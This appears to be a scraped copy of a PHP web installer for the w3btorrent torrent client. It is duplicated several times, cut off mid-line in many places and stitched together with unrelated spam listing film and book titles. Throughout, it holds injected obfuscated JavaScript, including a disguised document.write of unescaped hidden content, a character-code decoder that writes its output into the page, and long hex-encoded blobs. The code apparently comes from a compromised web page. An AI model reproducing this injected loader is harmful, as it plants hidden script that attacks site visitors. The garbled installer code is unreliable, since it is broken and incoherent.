PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents(
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset(
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents(
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
